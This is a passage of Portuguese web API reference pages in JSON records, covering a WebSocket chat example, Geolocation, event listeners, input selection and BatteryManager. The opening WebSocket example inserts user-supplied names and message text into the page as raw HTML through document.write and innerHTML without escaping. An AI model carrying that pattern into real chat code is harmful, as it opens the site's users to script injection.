Messagem de texto\n* Atualizações da lista de usuários\n\nO código que interpreta as mensagens de entrada se parecerá com esse:\n\n\n```js\nexampleSocket.onmessage = function (event) {\n  var f = document.getElementById(\"chatbox\").contentDocument;\n  var text = \"\";\n  var msg = JSON.parse(event.data);\n  var time = new Date(msg.date);\n  var timeStr = time.toLocaleTimeString();\n\n  switch (msg.type) {\n    case \"id\":\n      clientID = msg.id;\n      setUsername();\n      break;\n    case \"username\":\n      text =\n        \"<b>User <em>\" +\n        msg.name +\n        \"</em> signed in at \" +\n        timeStr +\n        \"</b><br>\";\n      break;\n    case \"message\":\n      text = \"(\" + timeStr + \") <b>\" + msg.name + \"</b>: \" + msg.text + \"<br>\";\n      break;\n    case \"rejectusername\":\n      text =\n        \"<b>Seu usuario foi configurado como <em>\" +\n        msg.name +\n        \"</em> porque o nome que você escolheu está em uso.</b><br>\";\n      break;\n    case \"userlist\":\n      var ul = \"\";\n      for (i = 0; i < msg.users.length; i++) {\n        ul += msg.users[i] + \"<br>\";\n      }\n      document.getElementById(\"userlistbox\").innerHTML = ul;\n      break;\n  }\n\n  if (text.length) {\n    f.write(text);\n    document.getElementById(\"chatbox\").contentWindow.scrollByPages(1);\n  }\n};\n```\n\n\nAqui utilizamos `JSON.parse()` para conveter o objeto JSON de volta ao objeto original, em seguida, examine e aja de acordo com seu conteúdo.\n\n### Formato de dados de texto\n\nO formato de Texto recebido através de uma conexão WebSocket está no formato UTF-8.\n\nFechando a conexão\n------------------\n\nQuando finalizar o uso da conexão WebSocket, invoque o método `close()`:\n\n\n```js\nexampleSocket.close();\n```\n\n\nPode ser útil examinar o atributo `bufferedAmount` do socket antes de tentar fechar a conexão para determinar se qualquer dado ainda está pendente de transmissão na rede.\n\nConsiderações de segurança\n--------------------------\n\nWebSockets não devem ser utilizados em um contexto de um ambiente misto, isto é, você não deveria abrir uma conexão não-segura a partir de uma página previamente carregada utilizando HTTPS, ou vice-versa. A maioria dos browsers atuamente apenas permitem conexões seguras pelo Websocket, e não mais suportam contextos diferentes desse."}
{"title":"Geolocation.getCurrentPosition() - APIs da Web","text":"Geolocation.getCurrentPosition()\n================================\n\nO método **`Geolocation.getCurrentPosition()`** é utilizado para capturar a posição atual do dispositivo.\n\nSintaxe\n-------\n```\n\nnavigator.geolocation.getCurrentPosition(success, error, options)\n```\n\n### Parâmetros\n\n*success*\n\nUma função de retorno que captura um objeto `Position` como seu parâmetro de entrada.\n\n*error* Optional\n\nUma função de retorno opcional que captura um objeto `PositionError` como seu parâmetro de entrada.\n\n*options* Optional\n\nUm objeto opcional `PositionOptions`.\n\nExemplo\n-------\n\n\n```js\nvar options = {\n  enableHighAccuracy: true,\n  timeout: 5000,\n  maximumAge: 0,\n};\n\nfunction success(pos) {\n  var crd = pos.coords;\n\n  console.log(\"Sua posição atual é:\");\n  console.log(\"Latitude : \" + crd.latitude);\n  console.log(\"Longitude: \" + crd.longitude);\n  console.log(\"Mais ou menos \" + crd.accuracy + \" metros.\");\n}\n\nfunction error(err) {\n  console.warn(\"ERROR(\" + err.code + \"): \" + err.message);\n}\n\nnavigator.geolocation.getCurrentPosition(success, error, options);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Geolocation API # getcurrentposition-method |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Usando geolocalização (en-US)\n* `Navigator.geolocation`"}
{"title":"Geolocation.watchPosition() - APIs da Web","text":"Geolocation.watchPosition()\n===========================\n\nO método **`Geolocation.watchPosition()`** é usado para registrar uma função manipuladora (handler function) que irá ser chamada automáticamente cada vez que a posição no dispositivo mudar. Você pode, opcionalemnte, especificar uma função de retorno que manipulará qualquer erro.\n\nEste método retorna um valor para o *watch ID* que pode ser usado para desregistrar o manipulador passando isto para o método `Geolocation.clearWatch()`.\n\nSíntaxe\n-------\n\n\n```js\nwatchPosition(success)\nwatchPosition(success, error)\nwatchPosition(success, error, options)\n```\n\n### Parâmetros\n\n*success*\n\nAUma função de retorno (callback) que pega um objeto `Position` como parametro de entrada.\n\n*error* Optional\n\nUma função de retorno opcional que pega um objeto `PositionError` como parametro de entrada.\n\n*options* Optional\n\nUm objeto opcional `PositionOptions`.\n\nExemplo\n-------\n\n\n```js\nvar id, target, options;\n\nfunction success(pos) {\n  var crd = pos.coords;\n\n  if (target.latitude === crd.latitude && target.longitude === crd.longitude) {\n    console.log(\"Parabéns, você alcançou o destino\");\n    navigator.geolocation.clearWatch(id);\n  }\n}\n\nfunction error(err) {\n  console.warn(\"ERRO(\" + err.code + \"): \" + err.message);\n}\n\ntarget = {\n  latitude: 0,\n  longitude: 0,\n};\n\noptions = {\n  enableHighAccuracy: false,\n  timeout: 5000,\n  maximumAge: 0,\n};\n\nid = navigator.geolocation.watchPosition(success, error, options);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Geolocation API # watchposition-method |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Usando geolocalização (en-US)\n* A interface que ele pertence, `Geolocation`, e como acessar `NavigatorGeolocation.geolocation` (en-US).\n* A operação oposta: `Geolocation.clearWatch()`\n* Um método similar: `Geolocation.getCurrentPosition()`"}
{"title":"Geolocation.clearWatch() - APIs da Web","text":"Geolocation.clearWatch()\n========================\n\n**Secure context:** This feature is available only in secure contexts (en-US) (HTTPS), in some or all supporting browsers.\n\nO método **`Geolocation.clearWatch()`** é usado para cancelar o registro dos manipuladores de monitoramento de localização / erro instalados anteriormente usando `Geolocation.watchPosition()`.\n\nSyntax\n------\n```\n\nnavigator.geolocation.clearWatch(id);\n```\n\n### Parameters\n\n*id*\n\nO número do ID retornado pelo método `Geolocation.watchPosition()` ao instalar o manipulador que você deseja remover.\n\nExemplo\n-------\n\n\n```js\nvar id, target, option;\n\nfunction success(pos) {\n  var crd = pos.coords;\n\n  if (target.latitude === crd.latitude && target.longitude === crd.longitude) {\n    console.log(\"Congratulation, you reach the target\");\n    navigator.geolocation.clearWatch(id);\n  }\n}\n\nfunction error(err) {\n  console.warn(\"ERROR(\" + err.code + \"): \" + err.message);\n}\n\ntarget = {\n  latitude: 0,\n  longitude: 0,\n};\n\noptions = {\n  enableHighAccuracy: false,\n  timeout: 5000,\n  maximumAge: 0,\n};\n\nid = navigator.geolocation.watchPosition(success, error, options);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Geolocation API # clearwatch-method |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja Também\n-----------\n\n* Usando geolocation (en-US)\n* `Geolocation`\n* `Geolocation.watchPosition()`\n* `Geolocation.getCurrentPosition()`"}
{"title":"EventTarget.removeEventListener() - APIs da Web","text":"EventTarget.removeEventListener()\n=================================\n\nRemove o event listener anteriormente registrado com `EventTarget.addEventListener()`.\n\nSintaxe\n-------\n```\n\ntarget.removeEventListener(type, listener[, useCapture])\n```\n\n\n`type`\n\nUma string indicando o tipo de evento a ser removido.\n\n`listener`\n\nA função `EventListener` a ser removida do event target.\n\n`useCapture` Optional\n\nIndica quando o `EventListener` a ser removido foi registrado ou não como *capturing listener*. Caso este parâmetro seja omitido, o valor *false* será assumido por padrão.\n\nSe um listener foi registrado duas vezes, uma com o parâmetro *capture* especificado e outra sem, cada um deve ser removido separadamente. A remoção de um *capturing listener* não afeta a versão *non-capturing* do mesmo listener, e vice versa.\n\n\n**Nota:** `useCapture` era obrigatório em versões mais antigas dos navegadores. Para ampla compatibilidade, sempre informe o parâmetro `useCapture.`\n\nNotas\n-----\n\nSe um `EventListener` é removido de um `EventTarget` enquanto ***este*** está processando um evento, esse não será disparado pelas *current actions*. Um `EventListener` não será invocado para o evento o qual foi registrado depois de ter sido removido, porém pode ser registrado novamente.\n\nChamar `removeEventListener()` com argumentos que não identifiquem nenhum `EventListener` registrado no `EventTarget` não tem qualquer efeito.\n\nExemplo\n-------\n\nEste é um exemplo de como associar e remover um event listener.\n\n\n```js\nvar div = document.getElementById(\"div\");\nvar listener = function (event) {\n  /\\* faça alguma coisa... \\*/\n};\ndiv.addEventListener(\"click\", listener, false);\ndiv.removeEventListener(\"click\", listener, false);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-eventtarget-removeeventlistener② |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n`EventTarget.addEventListener()`."}
{"title":"EventTarget() - APIs da Web","text":"EventTarget()\n=============\n\nO construtor **`EventTarget()`** cria uma nova instância do objeto `EventTarget`.\n\nSintaxe\n-------\n```\n\nvar myEventTarget = new EventTarget();\n```\n\n### Parâmetros\n\nNenhum.\n\n### Retorno de valor\n\nUma instância do objeto `EventTarget`.\n\nExemplos\n--------\n\n\n```js\nclass MyEventTarget extends EventTarget {\n  constructor(mySecret) {\n    super();\n    this._secret = mySecret;\n  }\n\n  get secret() {\n    return this._secret;\n  }\n}\n\nlet myEventTarget = new MyEventTarget(5);\nlet value = myEventTarget.secret; // == 5\nmyEventTarget.addEventListener(\"foo\", function (e) {\n  this._secret = e.detail;\n});\n\nlet event = new CustomEvent(\"foo\", { detail: 7 });\nmyEventTarget.dispatchEvent(event);\nlet newValue = myEventTarget.secret; // == 7\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-eventtarget-eventtarget① |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `EventTarget`"}
{"title":"Element.addEventListener() - APIs da Web","text":"Element.addEventListener()\n==========================\n\n`addEventListener()` registra uma única espera de evento em um único alvo. O alvo do evento (en-US) pode ser um único elemento (en-US) em um documento, o `documento` (en-US) em si, uma `janela` (en-US), ou um `XMLHttpRequest`.\n\nPara registrar mais de uma espera de evento como alvo, chame `addEventListener()` para o mesmo alvo mas com diferentes tipos de evento ou captura de parâmetros.\n\nSintaxe\n-------\n```\n\nalvo.addEventListener(type,listener[, options]);\nalvo.addEventListener(type,listener[, useCapture, wantUntrusted \n Non-standard\n]); // Gecko/Mozilla only\n```\n\n\n`type`\n\nUma linha de texto que representa o tipo de evento (en-US) a ser esperado.\n\nlistener\n\nO objeto que recebe uma notificação quando um evento do tipo especificado ocorre. Esse objeto precisa implementar a interface do `EventListener`, ou simplesmente executar uma função (en-US) JavaScript.\n\n`useCapture` Optional\n\nSe `true`, `useCapture` indica que o usuário deseja iniciar uma captura. Depois de iniciada a captura, todos os eventos do tipo especificado serão enviados à `listener` registrada antes de serem enviados à qualquer `EventTarget` abaixo dela na hierarquia de DOMs. Eventos que borbulharem para cima na hierarquia não acionarão a escuta designada a usar a captura. Veja Eventos DOM Nível 3 para uma explicação detalhada. Perceba que esse parâmetro não é opcional em todos os navegadores. Se não for especificado, `useCapture` é `false`.\n\n`wantsUntrusted` \nNon-standard\n\nSe `true`, o evento pode ser acionado por conteúdo não-confiável. Veja Interação entre páginas com e sem privilégios.\n\n\n**Nota:** `useCapture` tornou-se opcional somente nas versões mais recentes dos principais navegadores; não era opcional antes do Firefox 6, por exemplo. Você deve especificar esse parâmetro para obter uma maior compatibilidade.\n\nExemplo\n-------\n\n\n```html\n<!doctype html>\n<html>\n  <head>\n    <title>Exemplo de Evento DOM</title>\n\n    <style>\n #t {\n border: 1px solid red;\n }\n #t1 {\n background-color: pink;\n }\n </style>\n\n    <script>\n // Função para mudar o conteúdo de t2\n function modifyText() {\n var t2 = document.getElementById(\"t2\");\n t2.firstChild.nodeValue = \"three\";\n }\n\n // Função para adicionar uma espera de evento em t\n function load() {\n var el = document.getElementById(\"t\");\n el.addEventListener(\"click\", modifyText, false);\n }\n\n document.addEventListener(\"DOMContentLoaded\", load, false);\n </script>\n  </head>\n  <body>\n    <table id=\"t\">\n      <tr>\n        <td id=\"t1\">one</td>\n      </tr>\n      <tr>\n        <td id=\"t2\">two</td>\n      </tr>\n    </table>\n  </body>\n</html>\n```\n\n\nView on JSFiddle\n\nNo exemplo acima, `modifyText()` é uma escuta para eventos de `click` registrados usando `addEventListener()`. Um clique em qualquer lugar da tabela irá borbulhar para cima até o manipulador e executar `modifyText()`.\n\nSe você deseja passar parâmetros para a função de escuta, você deve usar uma função anônima.\n\n\n```html\n<!doctype html>\n<html>\n  <head>\n    <title>Exemplo de Evento DOM</title>\n\n    <style>\n #t {\n border: 1px solid red;\n }\n #t1 {\n background-color: pink;\n }\n </style>\n\n    <script>\n // Função para mudar o conteúdo de t2\n function modifyText(new\\_text) {\n var t2 = document.getElementById(\"t2\");\n t2.firstChild.nodeValue = new\\_text;\n }\n\n // Função para adicionar uma espera de evento em t\n function load() {\n var el = document.getElementById(\"t\");\n el.addEventListener(\n \"click\",\n function () {\n modifyText(\"four\");\n },\n false,\n );\n }\n </script>\n  </head>\n  <body onload=\"load();\">\n    <table id=\"t\">\n      <tr>\n        <td id=\"t1\">one</td>\n      </tr>\n      <tr>\n        <td id=\"t2\">two</td>\n      </tr>\n    </table>\n  </body>\n</html>\n```\n\nNotas\n-----\n\n### Por que usar `addEventListener`?\n\n`addEventListener` é a maneira de registrar uma espera de evento como especificada no W3C DOM. Seus benefícios são os seguintes:\n\n* Permite mais de um manipulador por evento. Isso é particularmente útil em bibliotecas DHTML ou em extensões Mozilla que precisam trabalhar bem mesmo com outras bibliotecas/extensões sendo usadas.\n* Te dá um pente-fino do estágio em que a espera de evento é ativada (captura ou borbulha).\n* Funciona em qualquer elemento DOM, não só para elementos HTML.\n\nExiste outra alternativa, uma maneira ultrapassada de registrar esperas de evento.\n\n### Adicionando uma espera de evento durante um disparo de evento\n\nSe um EventListener for somado a um EventTarget enquanto está processando um evento, ele não será ativado pelas ações atuais, mas poderá ser ativado em um período posterior no fluxo de eventos, como na fase de borbulha.\n\n### Múltiplas esperas de evento idênticas\n\nSe múltiplas esperas de evento idênticas forem registradas no mesmo EventTarget com os mesmos parâmetros, as versões duplicadas serão descartadas. Elas não fazem o EventListener ser disparado mais de uma vez, e, como as duplicatas são descartadas, elas não precisam ser removidas manualmente com o método removeEventListener (en-US).\n\n### **O valor de** **this** **no manipulador**\n\nÉ preferível referenciar o elemento do qual a espera de evento foi disparada, como quando é usado um manipulador genérico para uma série de elementos similares. Quando anexar uma função usando addEventListener(), o valor de this é mudado — perceba que o valor de this é passado para uma função a partir do disparador.\n\nNos exemplos acima, o valor de this em modifyText(), quando disparado pelo evento de clique, é uma referência à tabela 't'. Isso é um contraste do comportamento que acontece se o manipulador é adicionado ao HTML fonte:\n\n\n```html\n<table id=\"t\" onclick=\"modifyText();\">\n  . . .\n</table>\n```\n\n\nO valor de this em modifyText(), quando disparado pelo evento de clique no HTML, será uma referência ao objeto global (no caso, a janela).\n\n**Nota:** JavaScript 1.8.5 introduz o método `Function.prototype.bind()` (en-US), que permite especificar o valor que deve ser usado como `this` para todas as chamadas à uma determinada função. Isso evita problemas quando não é claro o que `this` será, dependendo do contexto do qual a sua função for chamada. Perceba, entretanto, que é preciso manter uma referência da escuta à mão, para que depois você possa removê-la.\n\nEste é um exemplo com e sem `bind`:\n\n\n```js\nvar Algo = function (elemento) {\n  this.nome = \"Algo bom\";\n  this.onclick1 = function (evento) {\n    console.log(this.nome); // indefinido, porque this é a função de escuta do clique\n  };\n  this.onclick2 = function (evento) {\n    console.log(this.nome); // 'Algo bom', porque this está como objeto Algo através do bind\n  };\n  elemento.addEventListener(\"click\", this.onclick1, false);\n  elemento.addEventListener(\"click\", this.onclick2.bind(this), false); // Truque de bind\n};\n```\n\n\nOutra solução é usar uma função especial chamada `handleEvent` para capturar quaisquer eventos:\n\n\n```js\nvar Algo = function (elemento) {\n  this.nome = \"Algo bom\";\n  this.handleEvent = function (evento) {\n    console.log(this.nome); // 'Algo bom', porque this é o objeto Algo\n    switch (evento.type) {\n      case \"click\":\n        // seu codigo aqui...\n        break;\n      case \"dblclick\":\n        // seu codigo aqui...\n        break;\n    }\n  };\n  elemento.addEventListener(\"click\", this, false); // Não this.handleEvent, só this\n  elemento.addEventListener(\"dblclick\", this, false); // Não this.handleEvent, só this\n};\n```\n\n### Internet Explorer antigos e attachEvent\n\nEm versões do Internet Explorer anteriores ao IE9, você precisa usar `attachEvent` em vez do padrão `addEventListener`. Para dar suporte ao IE, o exemplo acima pode ser modificado para:\n\n\n```js\nif (el.addEventListener) {\n  el.addEventListener(\"click\", modifyText, false);\n} else if (el.attachEvent) {\n  el.attachEvent(\"onclick\", modifyText);\n}\n```\n\n\nExiste um porém com `attachEvent` o valor de `this` será a referência ao objeto `window` em vez do elemento do qual foi disparado.\n\n### Uma maneira ultrapassada de registrar esperas de evento\n\n`addEventListener()` foi introduzido com as especificações de Eventos DOM 2. Antes disso, esperas de evento eram registradas assim:\n\n\n```js\n// Passe uma função de referência — não adicione '()' depois dela, o que chamaria a função!\nel.onclick = modifyText;\n\n// Usando uma expressão de função\nelement.onclick = function () {\n  // ... lógica da função ...\n};\n```\n\n\nEsse método substitui as esperar de evento de `click` no elemento, se houve alguma. Igualmente para outros outros eventos e manipuladores de evento associados, como `blur` (`onblur`), `keypress` (`onkeypress`), e assim por diante.\n\nPorque era essencialmente uma parte do DOM 0, esse método era largamente suportado e não necessitava de códigos entre-navegadores especiais; logo é normalmente usado para registrar esperas de evento dinâmicamente, a menos que atributos extras do `addEventListener()` sejam necessários.\n\n### Problemas de memória\n\n\n```js\nvar i;\nvar els = document.getElementsByTagName('\\*');\n\n// Caso 1\nfor(i=0 ; i<els.length ; i++){\n  els[i].addEventListener(\"click\", function(e){/\\*fazer algo\\*/}, false});\n}\n\n// Caso 2\nfunction processarEvento(e){\n  /\\*fazer algo\\*/\n}\n\nfor(i=0 ; i<els.length ; i++){\n  els[i].addEventListener(\"click\", processarEvento, false});\n}\n```\n\n\nNo primeiro caso, uma nova função (anônima) é criada em cada turno do loop. No segundo caso, a mesma função previamente declarada é usada como um manipulador de evento. Isso resulta em um consumo menor de memória. Além do mais, no primeiro caso, já que nenhuma referência à função anônima é mantida, não é possível chamar `element.removeEventListener` (en-US) porque não há uma referência ao manipulador, enquanto no segundo caso é possível fazer `myElement.removeEventListener(\"click\", processEvent, false)`.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-eventtarget-addeventlistener③ |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* elemento.removeEventListener() (en-US)\n* Criando e disparando eventos customizáveis (en-US)\n* Mais detalhes no uso de `this` nos manipuladores de eventos"}
{"title":"EventTarget.dispatchEvent() - APIs da Web","text":"EventTarget.dispatchEvent()\n===========================\n\nDispara um `Event` para o `EventTarget` especificado, invocando os `EventListener`s especificados, em uma ordem apropriada. O processamento normal das regras (incluindo a captura e a fase opcional de bubbling) aplica-se a eventos disparados manualmente com `dispatchEvent()`.\n\nSintaxe\n-------\n```\n\ncancelled = !target.dispatchEvent(event)\n```\n\n\n* `event` é o objeto `Event` a ser disparado.\n* `target` é utilizado para inicializar o `Event.target` e determinar quais event listeners serão invocados.\n* O valor retornado é `false` se ao menos um dos event handlers o qual manipulou o evento chamou `Event.preventDefault()`. De outro modo, isto retorna `true`.\n\nO método `dispatchEvent joga` `UNSPECIFIED_EVENT_TYPE_ERR` se o tipo do evento não foi especificado pela inicialização do evento antes do método ser chamado, ou se o tipo do evento for is `null` ou uma string vazia. Exceções jogadas por event handlers são reportadas como exceções não-capturáveis; os event handlers são executados em uma callstack aninhada; eles bloqueiam o chamador até que a rotina tenha sido totalmente executada, mas as execeções não se propagam para o chamador.\n\nNotas\n-----\n\n`dispatchEvent` é a última fase do processo create-init-dispatch, a qual é usada para disparar eventos na implementação do event model. O evento pode ser criado utilizando o método document.createEvent (en-US) e pode ser inicializado com initEvent (en-US) ou outro método de inicialização mais específico, como initMouseEvent (en-US) ou initUIEvent (en-US).\n\nVeja também a referência Event object (en-US).\n\nExemplo\n-------\n\nVeja Creating and triggering events (en-US).\n\nEspecificações\n--------------\n\n* DOM Level 2 Events: dispatchEvent"}
{"title":"HTMLInputElement.setSelectionRange() - APIs da Web","text":"HTMLInputElement.setSelectionRange()\n====================================\n\nO método\\*\\*`HTMLInputElement.setSelectionRange()`\\*\\* define as posições inicial e final da seleção atual do texto em um elemento `<input>`.\n\nOpcionalmente, em navegadores mais novos, você pode especificar a direção na qual a seleção deve ser feita; isso permite a você indicar, por exemplo, que a seleção foi feita como se o usuário tivesse clicado no fim do texto selecionado e arrastado em direção ao início.\n\nEsse método atualiza ao mesmo tempo `HTMLInputElement.selectionStart`, `selectionEnd`, and `selectionDirection`.\n\nSyntax\n------\n```\n\ninputElement.setSelectionRange(selectionStart, selectionEnd, [optional] selectionDirection);\n```\n\n### Parameters\n\n*selectionStart*\n\nThe 0-based index of the first selected character.\n\n*selectionEnd*\n\nThe 0-based index of the character *after* the last selected character.\n\n*selectionDirection* Optional\n\nA string indicating the direction in which the selection is performed. This string can be \"forward\" or \"backward\", or \"none\" if the direction is unknown or irrelevant.\n\nExample\n-------\n\nThe following code:\n\n\n```html\n<!doctype html>\n<html>\n  <head>\n    <meta charset=\"utf-8\" />\n    <title>JS Bin</title>\n    <script>\n function SelectText() {\n var input = document.getElementById(\"mytextbox\");\n input.focus();\n input.setSelectionRange(2, 5);\n }\n </script>\n  </head>\n  <body>\n    <p><input type=\"text\" id=\"mytextbox\" size=\"20\" value=\"Mozilla\" /></p>\n    <p><button onclick=\"SelectText()\">Select text</button></p>\n  </body>\n</html>\n```\n\n\nwill produce the following:\n\n![example.png](/pt-BR/docs/Web/API/HTMLInputElement/setSelectionRange/example.png)\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-textarea/input-setselectionrange-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* `<input>`\n* `HTMLInputElement`\n* `Selection`"}
{"title":"HTMLInputElement.select() - APIs da Web","text":"HTMLInputElement.select()\n=========================\n\nO método **`HTMLInputElement.select()`** seleciona todo o texto em um elemento `<textarea>` ou em um elemento `<input>` do tipo *text*.\n\nSintaxe\n-------\n```\n\nelement.select()\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-textarea/input-select |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nNotas\n-----\n\nExecutar `element.select()` não irá necessariamente focar o *input*, por isso é frequentemente usado em conjunto com `HTMLElement.focus()` (en-US).\n\nVeja também\n-----------\n\n* `<input>`\n* `<textarea>`\n* `HTMLInputElement`\n* `HTMLInputElement.setSelectionRange`"}
{"title":"BatteryManager.ondischargingtimechange - APIs da Web","text":"BatteryManager.ondischargingtimechange\n======================================\n\nEspecifica um *event listener* para receber eventos `dischargingtimechange`. Esses eventos ocorrem quando a propriedade `dischargingTime` (tempo de descarregamento) da bateria é atualizada.\n\nSintaxe\n-------\n```\n\nnavigator.battery.ondischargingtimechange = funcRef\n```\n\n\nOnde `funcRef` é uma função para ser chamada quando o evento `dischargingtimechange` ocorre.\n\nEspecificações\n--------------\n\n{{page(\"/pt-BR/docs/Web/API/BatteryManager\",\"Specifications\")}}Compatibilidade com navegadores\n-------------------------------\n\n{{page(\"/pt-BR/docs/Web/API/BatteryManager\",\"Browser\\_compatibility\")}}Veja também\n-----------\n\n* `BatteryManager`\n* `Navigator.battery`"}
{"title":"BatteryManager.onlevelchange - APIs da Web","text":"BatteryManager.onlevelchange\n============================\n\nEspecifica um *event listener* para receber eventos `levelchange`. Esses eventos ocorrem quando o `level` (nível) da bateria é atualizado.\n\nSintaxe\n-------\n```\n\nnavigator.battery.onlevelchange = funcRef\n```\n\n\nOnde `funcRef` é uma função para ser chamada quando o evento `levelchange` ocorre.\n\nEspecificações\n--------------\n\n{{page(\"/pt-BR/docs/Web/API/BatteryManager\",\"Specifications\")}}Compatibilidade com navegadores\n-------------------------------\n\n{{page(\"/pt-BR/docs/Web/API/BatteryManager\",\"Browser\\_compatibility\")}}Veja também\n-----------\n\n* `BatteryManager`\n* `Navigator.battery`"}
{"title":"BatteryManager.chargingTime - APIs da Web","text":"BatteryManager.chargingTime\n===========================\n\nIndica a quantidade de tempo, em segundos, que resta até que a bateria esteja totalmente carregada.\n\nSintaxe\n-------\n```\n\nvar time = navigator.battery.chargingTime\n```\n\n\nNo retorno, `time` é o tempo restante em segundos até que a bateria esteja totalmente carregada, ou 0 se a bateria já estiver com sua carga completa. Se a bateria estiver descarregando (ou se o sistema não é capaz de derminar o tempo restante para o carregamento), este valor é `Infinity` (en-US).\n\nEspecificações\n--------------\n\n{{page(\"/pt-BR/docs/Web/API/BatteryManager\",\"Specifications\")}}Compatibilidade com navegadores\n-------------------------------\n\n{{page(\"/pt-BR/docs/Web/API/BatteryManager\",\"Browser\\_compatibility\")}}Veja também\n-----------\n\n* `BatteryManager`\n* `Navigator.battery`"}
{"title":"BatteryManager.dischargingTime - APIs da Web","text":"BatteryManager.dischargingTime\n==============================\n\nIndica a quantidade de tempo, em segundos, que restam até a bateria estar totalmente descarregada.\n\nSintaxe\n-------\n```\n\nvar time = navigator.battery.dischargingTime\n```\n\n\nNo retorno, `time` é o tempo restante em segundos até que a bateria esteja totamente descarregada e o sistema suspenda. Este valor é `Infinity` (en-US) se a bateria estiver carregando, ao invés de descarregando, ou se o sistema não for capaz de determinar o tempo restante de carregamento (ou ainda se não existir uma bateria disponível).\n\nEspecificações\n--------------\n\n{{page(\"/pt-BR/docs/Web/API/BatteryManager\",\"Specifications\")}}Compatibilidade com navegadores\n-------------------------------\n\n{{page(\"/pt-BR/docs/Web/API/BatteryManager\",\"Browser\\_compatibility\")}}Veja também\n-----------\n\n* `BatteryManager`\n* `Navigator.battery`"}
{"title":"BatteryManager.level - APIs da Web","text":"BatteryManager.level\n====================\n\nIndica o nível de carga atual da bateria como um valor entre `0.0` e `1.0`.\n\nSintaxe\n-------\n```\n\nvar level = navigator.battery.level\n```\n\n\nNo retorno, `level` é um número representando o nível de carga da bateria do sistema em uma escala de valores entre 0.0 e 1.0. Um valor de 0.0 significa que a bateria está vazia e o sistema está prestes a ser suspenso. Um valor de 1.0 significa que a bateria está cheia. Um valor de 1.0 é também retornado se a implementação não é capaz de determinar o nível de carga ou se o sistema não é alimentado por bateria.\n\nEspecificações\n--------------\n\n{{page(\"/pt-BR/docs/Web/API/BatteryManager\",\"Specifications\")}}Compatibilidade com navegadores\n-------------------------------\n\n{{page(\"/pt-BR/docs/Web/API/BatteryManager\",\"Browser\\_compatibility\")}}Veja também\n-----------\n\n* `BatteryManager`\n* `navigator.battery`"}
{"title":"BatteryManager.onchargingchange - APIs da Web","text":"BatteryManager.onchargingchange\n===============================\n\nEspecifica um *event listener* para receber eventos `chargingchange`. Esses eventos ocorrem quando o estado `charging` (carregando) da bateria é atualizado.\n\nSintaxe\n-------\n```\n\nnavigator.battery.onchargingchange = funcRef\n```\n\n\nOnde `funcRef` é uma função para ser chamada quando o evento `chargingchange` ocorre.\n\nEspecificações\n--------------\n\n{{page(\"/pt-BR/docs/Web/API/BatteryManager\",\"Specifications\")}}Compatibilidade com navegadores\n-------------------------------\n\n{{page(\"/pt-BR/docs/Web/API/BatteryManager\",\"Browser\\_compatibility\")}}Veja também\n-----------\n\n* `BatteryManager`\n* `Navigator.battery`"}
{"title":"BatteryManager.onchargingtimechange - APIs da Web","text":"BatteryManager.onchargingtimechange\n===================================\n\nEspecifica um *event listener* para receber eventos `chargingtimechange`. Esses eventos ocorrem quando a propriedade `chargingTime` (tempo de carregamento) da bateria é atualizada.\n\nSintaxe\n-------\n```\n\nnavigator.battery.onchargingtimechange = funcRef\n```\n\n\nOnde `funcRef` é uma função para ser chamada quando o evento `chargingtimechange` ocorre.\n\nEspecificações\n--------------\n\n{{page(\"/pt-BR/docs/Web/API/BatteryManager\",\"Specifications\")}}Compatibilidade com navegadores\n-------------------------------\n\n{{page(\"/pt-BR/docs/Web/API/BatteryManager\",\"Browser\\_compatibility\")}}Veja também\n-----------\n\n* `BatteryManager`\n* `Navigator.battery`"}
{"title":"BatteryManager.charging - APIs da Web","text":"BatteryManager.charging\n=======================\n\nUm valor Booleano que indica se a bateria está sendo ou não carregada no momento.\n\nSintaxe\n-------\n```\n\nvar charging = navigator.battery.charging\n```\n\n\nNo retorno, `charging` indica se a bateria está sendo carregada no momento; se a bateria está carregando (ou se não há bateria), este valor é `true`. Caso contrário, o valor é `false`.\n\nEspecificações\n--------------\n\n{{page(\"/pt-BR/docs/Web/API/BatteryManager\",\"Specifications\")}}Compatibilidade com navegadores\n-------------------------------\n\n{{page(\"/pt-BR/docs/Web/API/BatteryManager\",\"Browser\\_compatibility\")}}Veja também\n-----------\n\n* `BatteryManager`\n* `Navigator.battery`"}
